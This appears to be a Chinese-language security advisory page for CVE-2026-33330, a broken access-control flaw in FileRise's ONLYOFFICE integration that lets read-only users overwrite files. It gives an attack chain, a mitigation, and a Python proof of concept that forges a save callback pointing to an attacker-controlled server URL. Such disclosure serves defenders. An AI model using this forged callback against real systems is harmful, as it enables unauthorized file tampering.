IPBUF安全漏洞报告
English
CVE-2026-33330 CVSS 7.1 高危

CVE-2026-33330 FileRise访问控制漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33330
漏洞类型
访问控制失效
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FileRise

相关标签

访问控制失效权限提升FileRiseWeb安全

漏洞概述

FileRise在3.10.0版本之前的ONLYOFFICE集成功能中存在访问控制缺陷。拥有只读权限的经过身份验证的用户,能够获取文件的签名保存回调URL,并利用该接口伪造ONLYOFFICE的保存回调,从而用攻击者控制的内容覆盖原文件。

技术细节

该漏洞的根本原因在于FileRise在处理ONLYOFFICE文档保存回调时,未严格验证请求者的权限上下文。在受影响版本中,系统虽然对回调URL进行了签名以防止未授权访问,但该URL被分发给所有具有文件访问权限(包括只读)的用户。攻击者利用只读账户登录系统,请求编辑文件以获取带有签名的`callbackUrl`。随后,攻击者绕过前端限制,直接向该URL发送恶意的HTTP POST请求,模拟ONLYOFFICE服务器的保存行为。由于服务端仅验证签名有效性而未复核当前用户是否具备写权限,攻击者成功将恶意数据写入并覆盖服务器上的原始文件。

攻击链分析

STEP 1
步骤1:获取低权限凭证
攻击者注册或获取一个FileRise系统的只读权限账户。
STEP 2
步骤2:提取回调URL
攻击者使用只读账户登录,尝试打开或编辑一个受ONLYOFFICE保护的文件,从服务器响应中截获带有签名的`callbackUrl`。
STEP 3
步骤3:伪造保存请求
攻击者构造恶意的HTTP POST请求,指向获取到的`callbackUrl`,并将文件内容指向攻击者控制的服务器。
STEP 4
步骤4:覆盖文件
FileRise服务器接收请求,验证签名通过后执行保存操作,将原文件内容替换为攻击者提供的恶意内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-33330 # Demonstrates how a read-only user might exploit the broken access control target_url = "http://target-filerise-instance.com" file_id = "1" malicious_file_url = "http://attacker-controlled-server.com/malicious_payload.bin" # 1. Authenticate as a low-privileged (read-only) user # session = requests.post(f"{target_url}/api/login", json={"username": "readonly_user", "password": "password"}) # 2. Request file edit details to obtain the signed 'callbackUrl' # In a real scenario, this endpoint returns the configuration for ONLYOFFICE # edit_response = session.get(f"{target_url}/api/files/{file_id}/edit") # callback_url = edit_response.json().get('callbackUrl') # The vulnerable signed URL callback_url = "http://target-filerise-instance.com/api/callback?signature=..." # Placeholder # 3. Forge the save callback request # The payload mimics what ONLYOFFICE sends when saving a document payload = { "status": 2, "url": malicious_file_url, "key": "file_key_identifier", "users": ["readonly_user"] } # 4. Send the forged request to overwrite the file # response = requests.post(callback_url, json=payload) # if response.status_code == 200: # print("[+] Exploit successful! File overwritten.") # else: # print("[-] Exploit failed.") print(f"Simulating POST request to: {callback_url}") print(f"Payload: {payload}")

影响范围

FileRise < 3.10.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用FileRise的ONLYOFFICE集成功能,以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表